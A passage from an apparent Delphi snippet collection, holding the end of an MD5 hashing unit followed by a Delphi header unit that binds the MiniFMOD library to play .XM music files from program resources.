);function F(x, y, z: DWORD): DWORD;
begin
Result := (x and y) or ((not x) and z);
end;function G(x, y, z: DWORD): DWORD;
begin
Result := (x and z) or (y and (not z));
end;function H(x, y, z: DWORD): DWORD;
begin
Result := x xor y xor z;
end;function I(x, y, z: DWORD): DWORD;
begin
Result := y xor (x or (not z));
end;procedure rot(var x: DWORD; n: BYTE);
begin
x := (x shl n) or (x shr (32 - n));
end;procedure FF(var a: DWORD; b, c, d, x: DWORD; s: BYTE; ac: DWORD);
begin
inc(a, F(b, c, d) + x + ac);
rot(a, s);
inc(a, b);
end;procedure GG(var a: DWORD; b, c, d, x: DWORD; s: BYTE; ac: DWORD);
begin
inc(a, G(b, c, d) + x + ac);
rot(a, s);
inc(a, b);
end;procedure HH(var a: DWORD; b, c, d, x: DWORD; s: BYTE; ac: DWORD);
begin
inc(a, H(b, c, d) + x + ac);
rot(a, s);
inc(a, b);
end;procedure II(var a: DWORD; b, c, d, x: DWORD; s: BYTE; ac: DWORD);
begin
inc(a, I(b, c, d) + x + ac);
rot(a, s);
inc(a, b);
end;// -----------------------------------------------------------------------------------------------
// Encode Count bytes at Source into (Count / 4) DWORDs at Target
procedure Encode(Source, Target: pointer; Count: longword);
var
S: PByte;
T: PDWORD;
I: longword;
begin
S := Source;
T := Target;
for I := 1 to Count div 4 do begin
T^ := S^;
inc(S);
T^ := T^ or (S^ shl 8);
inc(S);
T^ := T^ or (S^ shl 16);
inc(S);
T^ := T^ or (S^ shl 24);
inc(S);
inc(T);
end;
end;// Decode Count DWORDs at Source into (Count * 4) Bytes at Target
procedure Decode(Source, Target: pointer; Count: longword);
var
S: PDWORD;
T: PByte;
I: longword;
begin
S := Source;
T := Target;
for I := 1 to Count do begin
T^ := S^ and $ff;
inc(T);
T^ := (S^ shr 8) and $ff;
inc(T);
T^ := (S^ shr 16) and $ff;
inc(T);
T^ := (S^ shr 24) and $ff;
inc(T);
inc(S);
end;
end;// Transform State according to first 64 bytes at Buffer
procedure Transform(Buffer: pointer; var State: MD5State);
var
a, b, c, d: DWORD;
Block: MD5Block;
begin
Encode(Buffer, @Block, 64);
a := State[0];
b := State[1];
c := State[2];
d := State[3];
FF (a, b, c, d, Block[ 0], 7, $d76aa478);
FF (d, a, b, c, Block[ 1], 12, $e8c7b756);
FF (c, d, a, b, Block[ 2], 17, $242070db);
FF (b, c, d, a, Block[ 3], 22, $c1bdceee);
FF (a, b, c, d, Block[ 4], 7, $f57c0faf);
FF (d, a, b, c, Block[ 5], 12, $4787c62a);
FF (c, d, a, b, Block[ 6], 17, $a8304613);
FF (b, c, d, a, Block[ 7], 22, $fd469501);
FF (a, b, c, d, Block[ 8], 7, $698098d8);
FF (d, a, b, c, Block[ 9], 12, $8b44f7af);
FF (c, d, a, b, Block[10], 17, $ffff5bb1);
FF (b, c, d, a, Block[11], 22, $895cd7be);
FF (a, b, c, d, Block[12], 7, $6b901122);
FF (d, a, b, c, Block[13], 12, $fd987193);
FF (c, d, a, b, Block[14], 17, $a679438e);
FF (b, c, d, a, Block[15], 22, $49b40821);
GG (a, b, c, d, Block[ 1], 5, $f61e2562);
GG (d, a, b, c, Block[ 6], 9, $c040b340);
GG (c, d, a, b, Block[11], 14, $265e5a51);
GG (b, c, d, a, Block[ 0], 20, $e9b6c7aa);
GG (a, b, c, d, Block[ 5], 5, $d62f105d);
GG (d, a, b, c, Block[10], 9, $2441453);
GG (c, d, a, b, Block[15], 14, $d8a1e681);
GG (b, c, d, a, Block[ 4], 20, $e7d3fbc8);
GG (a, b, c, d, Block[ 9], 5, $21e1cde6);
GG (d, a, b, c, Block[14], 9, $c33707d6);
GG (c, d, a, b, Block[ 3], 14, $f4d50d87);
GG (b, c, d, a, Block[ 8], 20, $455a14ed);
GG (a, b, c, d, Block[13], 5, $a9e3e905);
GG (d, a, b, c, Block[ 2], 9, $fcefa3f8);
GG (c, d, a, b, Block[ 7], 14, $676f02d9);
GG (b, c, d, a, Block[12], 20, $8d2a4c8a);
HH (a, b, c, d, Block[ 5], 4, $fffa3942);
HH (d, a, b, c, Block[ 8], 11, $8771f681);
HH (c, d, a, b, Block[11], 16, $6d9d6122);
HH (b, c, d, a, Block[14], 23, $fde5380c);
HH (a, b, c, d, Block[ 1], 4, $a4beea44);
HH (d, a, b, c, Block[ 4], 11, $4bdecfa9);
HH (c, d, a, b, Block[ 7], 16, $f6bb4b60);
HH (b, c, d, a, Block[10], 23, $bebfbc70);
HH (a, b, c, d, Block[13], 4, $289b7ec6);
HH (d, a, b, c, Block[ 0], 11, $eaa127fa);
HH (c, d, a, b, Block[ 3], 16, $d4ef3085);
HH (b, c, d, a, Block[ 6], 23, $4881d05);
HH (a, b, c, d, Block[ 9], 4, $d9d4d039);
HH (d, a, b, c, Block[12], 11, $e6db99e5);
HH (c, d, a, b, Block[15], 16, $1fa27cf8);
HH (b, c, d, a, Block[ 2], 23, $c4ac5665);
II (a, b, c, d, Block[ 0], 6, $f4292244);
II (d, a, b, c, Block[ 7], 10, $432aff97);
II (c, d, a, b, Block[14], 15, $ab9423a7);
II (b, c, d, a, Block[ 5], 21, $fc93a039);
II (a, b, c, d, Block[12], 6, $655b59c3);
II (d, a, b, c, Block[ 3], 10, $8f0ccc92);
II (c, d, a, b, Block[10], 15, $ffeff47d);
II (b, c, d, a, Block[ 1], 21, $85845dd1);
II (a, b, c, d, Block[ 8], 6, $6fa87e4f);
II (d, a, b, c, Block[15], 10, $fe2ce6e0);
II (c, d, a, b, Block[ 6], 15, $a3014314);
II (b, c, d, a, Block[13], 21, $4e0811a1);
II (a, b, c, d, Block[ 4], 6, $f7537e82);
II (d, a, b, c, Block[11], 10, $bd3af235);
II (c, d, a, b, Block[ 2], 15, $2ad7d2bb);
II (b, c, d, a, Block[ 9], 21, $eb86d391);
inc(State[0], a);
inc(State[1], b);
inc(State[2], c);
inc(State[3], d);
end;// -----------------------------------------------------------------------------------------------
// Initialize given Context
procedure MD5Init(var Context: MD5Context);
begin
with Context do begin
State[0] := $67452301;
State[1] := $efcdab89;
State[2] := $98badcfe;
State[3] := $10325476;
Count[0] := 0;
Count[1] := 0;
ZeroMemory(@Buffer, SizeOf(MD5Buffer));
end;
end;// Update given Context to include Length bytes of Input
procedure MD5Update(var Context: MD5Context; Input: pChar; Length: longword);
var
Index: longword;
PartLen: longword;
I: longword;
begin
with Context do begin
Index := (Count[0] shr 3) and $3f;
inc(Count[0], Length shl 3);
if Count[0] < (Length shl 3) then inc(Count[1]);
inc(Count[1], Length shr 29);
end;
PartLen := 64 - Index;
if Length >= PartLen then begin
CopyMemory(@Context.Buffer[Index], Input, PartLen);
Transform(@Context.Buffer, Context.State);
I := PartLen;
while I + 63 < Length do begin
Transform(@Input[I], Context.State);
inc(I, 64);
end;
Index := 0;
end else I := 0;
CopyMemory(@Context.Buffer[Index], @Input[I], Length - I);
end;// Finalize given Context, create Digest and zeroize Context
procedure MD5Final(var Context: MD5Context; var Digest: MD5Digest);
var
Bits: MD5CBits;
Index: longword;
PadLen: longword;
begin
Decode(@Context.Count, @Bits, 2);
Index := (Context.Count[0] shr 3) and $3f;
if Index < 56 then PadLen := 56 - Index else PadLen := 120 - Index;
MD5Update(Context, @PADDING, PadLen);
MD5Update(Context, @Bits, 8);
Decode(@Context.State, @Digest, 4);
ZeroMemory(@Context, SizeOf(MD5Context));
end;// -----------------------------------------------------------------------------------------------
// Create digest of given Message
function MD5String(M: string): MD5Digest;
var
Context: MD5Context;
begin
MD5Init(Context);
MD5Update(Context, pChar(M), length(M));
MD5Final(Context, Result);
end;// Create digest of file with given Name
function MD5File(N: string): MD5Digest;
var
FileHandle: THandle;
MapHandle: THandle;
ViewPointer: pointer;
Context: MD5Context;
begin
MD5Init(Context);
FileHandle := CreateFile(pChar(N), GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE,
nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL or FILE_FLAG_SEQUENTIAL_SCAN, 0);
if FileHandle <> INVALID_HANDLE_value then try
MapHandle := CreateFileMapping(FileHandle, nil, PAGE_READONLY, 0, 0, nil);
if MapHandle <> 0 then try
ViewPointer := MapViewOfFile(MapHandle, FILE_MAP_READ, 0, 0, 0);
if ViewPointer <> nil then try
MD5Update(Context, ViewPointer, GetFileSize(FileHandle, nil));
finally
UnmapViewOfFile(ViewPointer);
end;
finally
CloseHandle(MapHandle);
end;
finally
CloseHandle(FileHandle);
end;
MD5Final(Context, Result);
end;// Create hex representation of given Digest
function MD5Print(D: MD5Digest): string;
var
I: byte;
const
Digits: array[0..15] of char =
('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f');
begin
Result := '';
for I := 0 to 15 do Result := Result + Digits[(D[I] shr 4) and $0f] + Digits[D[I] and $0f];
end;// -----------------------------------------------------------------------------------------------
// Compare two Digests
function MD5Match(D1, D2: MD5Digest): boolean;
var
I: byte;
begin
I := 0;
Result := TRUE;
while Result and (I < 16) do begin
Result := D1[I] = D2[I];
inc(I);
end;
end;end.
-
Delphi XM
2008-12-07 19:46:07
{
MiniFMOD 1.7 is a free C library from Fairlight
Technologies (http://www.fmod.org) which allows
you to play .XM files. Compiled into a .OBJ,
it is then possible to use it in any language
that supports OMF .OBJ files.Here is the Delphi header I made for it.
Twis (June 2004).
}unit MiniFMOD;
interface
uses
Windows;type
TMemoryFile = record
Length: Cardinal;
Position: Cardinal;
Data: Pointer;
end;
PMemoryFile = ^TMemoryFile;
PMUSICMODULE = Pointer;const
// this is for the callbacks
SEEK_SET = 0;
SEEK_CUR = 1;
SEEK_END = 2;var
Module: PMUSICMODULE = nil;
_ResName, _ResType: PChar;
__turboFloat: Integer;// functions from MiniFMOD
procedure _FSOUND_File_SetCallbacks(OpenCallback, CloseCallback, ReadCallback, SeekCallback, TellCallback: Pointer); cdecl;
function _FMUSIC_LoadSong(Name: PChar; SampleLoadCallback: Pointer): PMUSICMODULE; cdecl;
function _FMUSIC_FreeSong(Module: PMUSICMODULE): ByteBool; cdecl;
function _FMUSIC_PlaySong(Module: PMUSICMODULE): ByteBool; cdecl;
function _FMUSIC_StopSong(Module: PMUSICMODULE): ByteBool; cdecl;
function _FMUSIC_GetOrder(Module: PMUSICMODULE): Integer; cdecl;
function _FMUSIC_GetRow(Module: PMUSICMODULE): Integer; cdecl;
function _FMUSIC_GetTime(Module: PMUSICMODULE): Cardinal; cdecl;// functions I added
procedure XMPlayFromRes(ResName, ResType: PChar);
procedure XMFree();
implementation{$L MiniFMOD.obj}
{
C functions which are not included in the .OBJ, so
we need to reprogram them here.
}function _memcpy(Destination: Pointer; Source: Pointer; Count: Cardinal): Pointer; cdecl;
begin
CopyMemory(Destination, Source, Count);
Result := Destination;
end;function _memset(Destination: Pointer; C: Integer; Count: Cardinal): Pointer; cdecl;
begin
FillMemory(Destination, Count, C);
Result := Destination;
end;function _calloc(Number: Cardinal; Size: Cardinal): Pointer; cdecl;
begin
GetMem(Result, Number * Size);
ZeroMemory(Result, Number * Size);
end;procedure _free(Block: Pointer); cdecl;
begin
FreeMem(Block);
end;procedure __ftol;
asm
push eax
fistp dword ptr [esp]
fwait
pop eax
end;procedure _fabs;
asm
fld qword ptr [esp + 4]
fabs
fwait
end;procedure _sin;
asm
fld qword ptr [esp + 4]
fsin
fwait
end;procedure _abs;
asm
mov eax, dword ptr [esp + 4]
test eax, $80000000
jz @Exit
neg eax
@Exit:
end;procedure _pow;
asm
fld qword ptr [esp + 12]
fld qword ptr [esp + 4]
fyl2x
fld ST(0)
frndint
fsub ST(1), ST
fxch ST(1)
f2xm1
fld1
fadd
fscale
fstp ST(1)
fwait
end;{
here comes the callback functions when playing from a resource
}function MemFile_OpenCallback(Name: PChar): PMemoryFile; cdecl;
var
ResParam: HRSRC;
ResHandle: HGLOBAL;
begin
New(Result);
ResParam := FindResource(hInstance, Name, _ResType);
ResHandle := LoadResource(hInstance, ResParam);
Result.Length := SizeOfResource(hInstance, ResParam);
Result.Data := LockResource(ResHandle);
Result.Position := 0;
end;procedure MemFile_CloseCallback(MemFile: PMemoryFile); cdecl;
begin
Dispose(MemFile);
end;function MemFile_ReadCallback(Buffer: Pointer; Size: Cardinal; MemFile: PMemoryFile): Integer; cdecl;
begin
if MemFile.Position + Size >= MemFile.Length then
Size := MemFile.Length - MemFile.Position;
CopyMemory(Buffer, Pointer(Cardinal(MemFile.Data) + MemFile.Position), Size);
MemFile.Position := MemFile.Position + Size;
Result := Size;
end;procedure MemFile_SeekCallback(MemFile: PMemoryFile; Position: Integer; Mode: Byte); cdecl;
begin
case Mode of
SEEK_SET: MemFile.Position := Position;
SEEK_CUR: MemFile.Position := Integer(MemFile.Position) + Position;
SEEK_END: MemFile.Position := Integer(MemFile.Length) + Position;
end;
if MemFile.Position > MemFile.Length then
MemFile.Position := MemFile.Length;
end;function MemFile_TellCallback(MemFile: PMemoryFile): Integer; cdecl;
begin
Result := MemFile.Position;
end;{
some imports (waveout API)
}function waveOutOpen: DWORD; stdcall; external 'winmm.dll';
function waveOutClose: DWORD; stdcall; external 'winmm.dll';
function waveOutPrepareHeader: DWORD; stdcall; external 'winmm.dll';
function waveOutUnprepareHeader: DWORD; stdcall; external 'winmm.dll';
function waveOutWrite: DWORD; stdcall; external 'winmm.dll';
function waveOutReset: DWORD; stdcall; external 'winmm.dll';
function waveOutGetPosition: DWORD; stdcall; external 'winmm.dll';{
functions from MiniFMOD
}procedure _FSOUND_File_SetCallbacks; external;
function _FMUSIC_LoadSong; external;
function _FMUSIC_FreeSong; external;
function _FMUSIC_PlaySong; external;
function _FMUSIC_StopSong; external;
function _FMUSIC_GetOrder; external;
function _FMUSIC_GetRow; external;
function _FMUSIC_GetTime; external;{
here we go with the functions we will use
from outside this unit
}procedure XMPlayFromRes(ResName, ResType: PChar);
begin
if Module <> nil then Exit;
_ResName := ResName;
_ResType := ResType;
_FSOUND_File_SetCallbacks(@MemFile_OpenCallback, @MemFile_CloseCallback,
@MemFile_ReadCallback, @MemFile_SeekCallback, @MemFile_TellCallback);
Module := _FMUSIC_LoadSong(ResName, nil);
_FMUSIC_PlaySong(Module);
end;procedure XMFree();
begin
_FMUSIC_FreeSong(Module);
Module := nil;
end;end.